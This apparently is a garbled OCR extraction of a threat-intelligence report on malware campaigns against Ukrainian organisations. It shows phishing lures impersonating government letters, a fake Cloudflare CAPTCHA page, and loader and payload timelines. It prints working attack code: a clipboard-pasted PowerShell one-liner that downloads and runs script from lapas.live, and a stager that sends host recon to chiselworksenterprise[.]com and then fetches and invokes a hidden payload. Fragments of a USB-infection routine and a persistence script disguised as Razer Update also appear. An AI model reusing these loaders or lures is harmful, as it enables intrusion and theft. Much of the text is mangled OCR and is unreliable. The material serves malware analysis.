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File-hosting service

Archive type

Loader type Pylnstaller loader
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TEASOUPJS
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Ilodo nocuterHa 2auchy H@opMailin
CUCTHEM

3 MeTow MOCHIeHHA CTaHy KibepOesnekH Bamoro miampHeMcTBa/ TOBapHCTBA Ta
IIBHIICHHA PIBHA  KiDep3axHCTy., HAUpaBIgeMoO  yialalbHeHI  pPeKOMeHZIAIIL
HenapramenTy KoHTppozELakH CryxbH Oezners YEpaiHH MOKo NepIIoTeproBHX 3AX0IIE 8 Fatal error while opening file: INVAL SYS ARCHITECTURE
Kibe pﬁ IMeKH 3 YPaxXyBaHHAM BHABIEHHX (DOPM MPOTHIIPABHOI NIAABHOCTL 1HO3EMHHX 5 =
POBLIOE, IIA ONPAIOBAHHA Ta BHKOPHCTAHHA B pPODOTI BIINOBLIHAME (JaxXiBIOAMH ¥ %
cthepi iHdopManiinoi De3meKH.

3ape 3,-*1:[: TAMH EXHTHX 3AX0/1E IPOCHMO 1HGOpMYEATH AKIIIOHEPHE TOBAPHCTED
"VipaiHchka 000OpOHHA MPOMHCIOBICTD oK

Homator: 2a Texcrom Ha 10 (gecars) aprymax.
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[nenTudikarop kondepenuii: 868 7249 7373.

Kon moctymy: 589367.

[Ipowry 3abe3neuuTy yyacTb y Hapa/i NpeJACTABHUKIB HA PIBHI 3aCTYIHHUKA
KEpiBHUKA OpraHy, Bi/IMOBIIaTLHOTO 3a BKa3aHWH HATIPSM.

3 MeToW MIArOTOBKM MarepiajiiB JUis MPOBEACHHS HApaau IPONOHYIO
Hajgicnatn a0 12:00 7 xoTHs 2025 pokry iHdopMmalliio 3 NMUTaHb MOPAIAKY
JI€HHOTO, a TaKOXK IMOBIZOMHTH TPO Yy YacTh (3a3HAUMBILIM MPI3BHILE, IM’f, [0
0aTbKOBi, Mocajy, KOHTAKTHHH Tesie) OH, €JIEKTPOHHY ajipecy) Ha elIeKTPOHHY
nowry (irynakovtun.opu@ukr.net) BianoBiganeuii ocodi — Kosryn Ipuni
OnekcanpiBHI (KOHTAKTHUH TenedoH: (073) 432 41 42).

Jlonatku: Ha 7 apk.

3actynuuk KepiBHuka
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function (A
Let code =

MoTpibHa aopaTKOBa NepeBipKa

Checking your browser before accessing
Yepes novacTiwaHHA BUNaaKiB KibepaTtak noTpibHe goaatkose

lapas.live .
niATBEpPAXKEHHS TOTO, WO BW He poboT.

This process is automatic. Your browser will redirect to your
requested content shortly. .
Mpoueaypa niATBepAXKeHHS
1. HatncHiTs kombiHauio knagiw B Win + R, wob eiakputu BikHO

npoxomxeHHa Captcha

Additional verification required
2. CkonitoiiTe Ball yHiKaNbHWIA TOKEH, HaTUCHYBLUWM Ha KHOMKY:

Please complete the security check to continue. 3. BcraeTe TOKeH y TeKCTOBe Nosie BikHa npoxomkeHHa Captcha
kombinauicto knasiw Ctrl + V

4. HatucHite kHonky Enter

5. flKwo nicns BUKOHaHHA Npolueaypu nigteepakeHHs ocobu Bu
[LOCi He MOXKeTe OTPUMaTK AOCTYMN A0 CTOPIHKK, 3BEPHITLCA A0
TeXHIYHOT NIATPUMKK eNeKTPOHHOH nolwToro: admin@lapas.live

I'm not a robot

Privacy Terms &

Please allow up to 5 seconds...
DDoS protection by Cloudflare

[+t SGBRBBELUZNwOStKGSHIZN] gUI | t Jtegt | Ntocd Ot cUUBDb UI Nt et OF 1 Ld

Invoke-RestMethod -Uri (\\"htt\\"+\\"ps://lapa\\"+\\"s.live/vfy/${clientId}\\") -Method Get; iex ((New-Object

System.Net.WebClient).DownloadString(\\"htt\\"+\\"ps://lapas.li\\"+\\"ve/cptch\\"));

.clipboard.

("conhost.exe --headless \"C:\\WINDOWS\\System32\\WindowsPowerShell\\v1l.0\\powershell.exe\" -c \""+ code +"\"")
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ROM SLILIt NUMEbe I gl Nfpgmeog NI LIVt 8 KEZ N RN B2INN Sl &y friN i SgZNfr]I G Ul | : g UGS N &
UNY ¢ UNI It 90ME N IPEP DtTTER t PEIONGN| | Nt Mat | I t b T )iy Tl

ge ol t gl Nt ok tll 9 I IE MK &Y gRMPIH NG Tz Nb NOIl il t ¢ & N .Log('Client ID:', clientId);

i@Nét E" NUfI]QfI‘]L.JQt ULJNij! zt NOI f’]f Af’]A_Et | { f’]g I Ql Z N // 2. Connect to the WebSocket server
ORI Ry S AR I A R R e e L T R R N L B N R Y R BIEKs] // Use the same host and port as your server.

¢ B N N = A o N N o o VRN // 'ws://' 1s the protocol for WebSockets. N
ra USOmMUNI Nt at OsmgmUNEUSOENNMgLISbglit] gzz const wsProtocol = .location.protocol === "https:' ? ‘'wss:' : 'ws:'; N+
At It Mt Nz NSt It bgll Nfpt 8db gt On const wsHost .location.host; // e.g., 'localhost:3000'
. . . . . . e s const socket = new WebSocket( ${wsProtocol}//${wsHost} );
[ OUMNGgbUZNNMIt NfSgzZNimz | Omt ©b § tUFGLIZMG NG f§ I
A N R N N R RARS 2 o1l EioF: 5500 g i RaRURcLer JF IRARCA N R IO R UMV R // Event handler for when the connection is established

> socket.onopen = (event) => {
% NSt 1l tb gl ijdiﬁzerbﬁf]]fs; teml Nt 9 at SUMm zt ZNZz Kfr] ! \E: . ('Successfully connected to the WebSocket server.'); .
Z NS¢t Il¢ bagl Nfr] EN| LJO ¢ | Kfr] | 1 N! Zf’] LKff] UJUNEN:)"’E 38 M // You could optionally send the client ID to the server here g
t DI NUG! Il t 9] At IMGEININN S g N D MLID| 2z Ng UM At ING & ANf // socket.send(JSON.stringify({ type: 'register', id: clientId }));
2t DZMAEFEMLENI MEBZNZKMGgEMQI miNleKmem@g@mtug
NOs§t ONNUt 08 n // 3. Listen for incoming messages
- . " . . . socket.onmessage = (event) => {
[ LUt NP BBNNE MSOLIOL Mgl USBEEMI Lt NipbB £z M| SOI ND const message = event.data;

A A

=3 R LN R YOG R ENE G IY AL E R Ce Vis GVIN GRS IING ~  if(message == clientId)q |

Rt Nfl t UNGHI Mgl 1 8UdEMNG I NOZt & N LIE N o Szl ZREzh « S HEERERRIA A = RS20 ek 5 ) Nt o

LIENMOSM\ ND frzzemlt Pt oL Mgl Il §1 ZM2zt SN| K|
// Event handler for connection errors
socket.onerror = (error) => {

( "WebSocket Error:', error);

}s

[t & SpeNbelz Nb NO | N1l oo it S Onetb Al4abhaidI 7 N 2 § bt Miog D |
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2zl 2 RN & NAaNUL G MENAIN rNGUZE! S5 tLebgN D8 35N U N+ iy ¢ SD5frbi N fry /B¢
L0t OLN M DWLIGH 8V | UNGEBUNRGHD N[ Mt 8] LIONDI Mzt 02t D¢

ENL B 1 NE Nft 8] LIONDI EMmg2zsomMUaOENt MgEmMbNNIt D8fgs N: 't D8
gMm| 805t I NOIMBE| t gzMgUUNGULUgDl Nfpg Ot it D1 BLUBLG | | 38MAazZUgt
98 0nMbOANANUNMIMZNKMt t It D1 It @d0Mt EMIlt ghHMmIt NE Oaic ['lpesnaeHTa YkpaiHu t DZEMUO
l oA NN t byl Nindi@gt i BN g ¢t §OMI t NipS§ZNmBpNH M LIE N
NggbuUzNmt §EMLNNIOfMEt 89A&DMt OMES LIUNMT T n Ne
Rt NpNgg| Il fULIDUBSENMGOt it DN NOt Nt MLIENMSESmMIt Ng N Ha Ne NUN ] £N
gEesNEEsmA:t It Mbat NUGHI Nipll @fpt ¢t 6t M| 82E+ NOI Nfgllit gl il VUACHUKH HAPATH LIE |l @21 N
ONaNULgzmt KUsll t Ng N 9Ot zoNEN gBEINsid &l LIb NOIl & i NV (3a crHCKOM)
PAYNRMbgRML gaNmSyl tzt 1 g1 Nt Mgmgol OPENNEOL SRMNY
Q 7794t D8 m t N m t U N g I n g | I 90UMmIl s Ul NOI ¢ g 7 K MmO N [Mosimomasto, mo 19 rpyaus 2025 poky o6 11:00 mig MoiM ToJIOBYBaHHSM N N mouUMmU!
N < N A = < > BIAOYACTHCSA HApajaa 3 MUTaHb 3apO0ITHUX IUIAT JACPKABHUX CITYKOOBIIB MICLIEBHX
- I IE' t3 mg fp§ N | 11] ? Sv m l?\ gzt |l tOLEE Mt QTN VLI It SO Ml gvl\l, nz OpraHiB BHKOHaBYO1 BIaJH y Gopmati zoom-KoHpepeHuii.
RAT NKMb§Kmt §aNmSLID| I ¢ ©BNHUMNGSY fn tNRP| BIORNNDUI 21 BOCDOH g Mocunanns:
K \ XUils L Nist N |wf|=r] g 7 htips://us06web.zoom.us/j/81691262594?pwd=LbVX6gRQBNbEcgSS8bM;7Y LONwWQY Ub. 1
L I§m | } N fl’] : N lﬁ]Nﬁg" "ﬁI g\”lﬂ MEH"& ”!j oS fl’] C fr] : ¢ N fl] ot gz fl’] Iﬂ::HTHd]iI{aTDp KGHtll)cpCHui'i: 8]:59126 25924. |
bNI t g0t gbn Kox nocryny: 341256.

[lpomry mo 17:00 17 rpyana 2025 poky mnoiH(OpMyBaTH MPO YYacTb,
3a3HAYMBIIM KOHTAKTHI JIaHl Ta 110ca/Ii BU3HAYEHHUX 0cl0, Ta HajatH iHopMairiio 3
NUTAaHb  MOPAAKY  JEHHOIO  [MOBLAOMIIEHHAM  HAa  €IEKTPOHHY  IOLUTY:
y.khliebnikov(@nib.gov.ua .

Bignoeijanena ocodba:  €sreniit  XieOHIKOB (KOHTAKTHHH  TeledoH:
(050) 411-72-89).

[Tops10K AeHHMIA 10/1a€ThCA.

JlonaTtok: na 3 apk.

3actynuuk KepiBunka
Odicy [IpesnaenTa Ykpainu I.Bepemyk
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Poamip: 32.5 MB - Bepcia: 19.0.5
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Poawmip: 325 MB - Bepcia: 19.05 - ®aun: K-Lite_Codec_Pack_1905_Basic.exe
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[t gOoONl b DNzGKy P Mgemlt NMEDGZMUGKZ B!t n payload
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PhantomMail T
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overlaps include:
infrastructure, payload
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Timeline

PrincessClub

July 2025 - November 2025 December 2025 - April 2026

‘/ Obfuscator LOOKVALPS LOOKVALJS

Device type

Windows Loader type Pylnstaller loader JavaScript loader -.NET loader

Payload PhantomRelayV1 LegionRelay

Android Payload FallSpy
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F 3 2 3. Windows moriepeiuTsb 1po BiAKpUTTS (aity, HeoOXiZHO MOroqUTUCS
ITopannsa BifoMocTeH PO OCBITY PeA RORIER Gty ik i

Open File - Security Warning X

1. 3aBantaxre apxiB i3 HTML-¢popMoi0 /i1 3alOBHeHHs [JaHUX 3a

INOCUJIAHHSAM.
The publisher could not be verified. Are you sure you want to run this

X software?
Name: ...ocal\Temp\Rar$§DIa2244.30045.rartemp\declaration.hta

4 b 1 | .
Publisher: Unknown Publisher

Downloads B Q - £ Type: HTML Application
From: C:\Users\user\AppData\Local\Temp\RarSDIa2244.3004...

Cancel

]
PR

®
@

ﬂ declaration.zip
Open file Run

» This file does not have a valid digital signature that verifies its
g publisher. You should only run software from publishers you trust.
How can | decide what software to run?

€ ?

4. 3anoBHiTh ¢opMy Ta HaAiUUITh il HAaTUCKAHHSM HAa  KHOMKY
. B apxiBi Bigkpuiite HTML-dopmy declaration.hta noapiiinumM k1anaHHaM .. =

MMILI: anuT Ha akTyanisayilo JaHUX Npo OCB!

ity

m declaration.zip (evaluation copy)

File Commands Tools Favorites Options Help
- — (2382 HaBuanbHOrO 3aKnaY
— = . —_— T
BESEDie \0 0 68 =
[S—) - . \ = v | | Pwsadnuennn nasvaneworo saknany
Add Extract To Test View Delete Fin Wizard Info VirusScan Commen t SFX

t
T ‘n declaration.zip - ZIP archive, unpacked size 4,31 es

4318

1,611 HTML Application

11/5/2025 3:30 ... 09D62770
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1. 3asautaxTe apxie 3 HTML-dopmoio, o6 3anoBHHTH AaHi 3a N0CHIaHHAM, Open File - Security Warning R E :E E fr] t O l— t
The publisher could not be verified. Are you sure you want to run this
— a x software?
: Mame: _.bfi-daae-8126-f3354f1b911f_Dopwa.zip. 117 Sopua.hta
w & @ Publisher: Unknown Publisher
Type: HIML Application " E fl'] bl |
Recent download '\iSTOIY Frome C\Users\userAppData’ Local Temp) 1 38fdef2-abf3-4aa g L

Z LLONE

= —

Dopmazip
19 KB + Done

0o
4

Full download history

2. B apxisi sigkpuitre HTML-hopMy noasidHUM KAauaHHAM MHLLI:

_ HAaTHCKaHHAM  Ha  KHOMKY

4. 3anosHiTh  dopMy  Ta  Hagiuwiite 1T

0
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It NS LW®HO LIS t SBIUND gniiiy DIl t ON| EID N ENED LIDBOF) tNS A£D fi . .
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Actions Description : Created by Google Generative AI., Applied imperceptible SynthID watermark.
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## CRITICAL CHANGE: The LNK now points to

# Its only job is to run your main payload silently.

# 1. The directory in ProgramData to hide the launcher script. This looks more legitimate.

console.log(' # MOBILE DEVICE DETECTED - APK file');

console.log(' B DESKTOP DEVICE DETECTED - EXE file');
consale.error(' X Error loading header:', error);

H#H - __:I!.-:I =1 -'Ll Stape g L -_I?I__.-, --._”_:- auncher l.:||.-..! vt :rj.\_]'.'.ln'_: .d + __:I[i-:'f___""..' '1|...'-: . d
_I.. UeTlie arll 2 Lage l.||_ UM L ._|__.J. Ll ._| - _._._.|.,_ |._|' yLlal LELUY I_l._.-_._:__L___ [:U‘I-IED_I.E.].GE |. HEJdDﬁ ].Elr_-.ldl;"'d SU:EQES'FJ]._:',"I .:

This functlon 1s no longer used by the scrip
MODIFIED USB Infection Function

(# Silent Fail #>

console. log ' Blur yaaned ¢ cnavpa');
// You could optionally send the client ID to the server here
// 2. Connect to the WebSocket server | '

// Use the same host and port as your server.
// 'ws://' is the protocol for WebSockets.
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$enc = [System.Text.Encoding]::UTF8
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function Data-Transmute {
param($raw, $mode, $k)
return $raw

¥

try {

Remove-Module PSReadline -ErrorAction SilentlyContinue
} catch {}
[System.Net.ServicePointManager]::SecurityProtocol = 3072
$cl = "Win32_Computer"
$c2 = "System"
$c3 = "Product”

$sys = Get-WmiObject -Class ($cl + $c2)
$prod = Get-WmiObject -Class ($cl + $c2 + $c3)

$recon = "$env:COMPUTERNAME | $($sys.Domain) |$env:USERNAME | $PID | xRwSphOakKD5DFLpX3hS4WShcAzTqvX4j9fsyH1YQ9kwKyobEsRV12cHIRzvao5f |$($prod.UUID)™

$query = Data-Transmute -raw $recon -mode "enc" -k "1UuIdZbVJyi39zBqfMSbkvbAghCzWaal"

$target = "https://chiselworksenterprise[.]com/captcha/" + $query

$wc = New-Object System.Net.WebClient
$wc.Headers.Add(

"User-Agent",

"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/534.36 (KHTML, like Gecko) Chrome/95.4.4476.124 Safari/537.36"
)

try {
$enc = $wc.DownloadString($target)

$finalScript = Data-Transmute -raw $enc -mode "dec" -k "1UuIldZbVJyi39zBqfMSbkvbAghCzWaal"

$ctx = $ExecutionContext.InvokeCommand
$sBlock = $ctx.NewScriptBlock($finalScript)

$sBlock.Invoke()

}

catch {
# <# Silent Fail #>
exit

}
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-SYNOPSIS

.DESCRIPTION

. COMPONENT
Razer Update

[switch]$ForceReinstall = $true,
strin ogPath = "$env:TEMP\razer_update.log"

installPath = Join-

mainScriptName = "S " # le are uses structured configurati yjects. R - - ~ o v ~ o~ o o .
e : - " [t S@ARAG] | t+ Ostebgt DGNGN| dZ t 80tL 2 B Z
scriptFullPath = Join-P: sta equipmentsolutions.com” ’ ’ ’ ’
contentFullPath = Join-Pa -Pa $installPath -ChildPath $contentScriptName emotePor =

"Microsoft System Health Service”
ors system components and ensures cere services are runnin

ager
ModuleScript = "RzTelemetr s

TaskName
TaskDesc

}

Fine instal il ynamica
$InstallPath = Join-Path -Path $env:LOCALAPPDATA -Ch
$MainFullPath = Join-Path -Path $InstallPath -ChildP
$ModuleFullPath = Join-Path -Path $InstallPath -Chil

~
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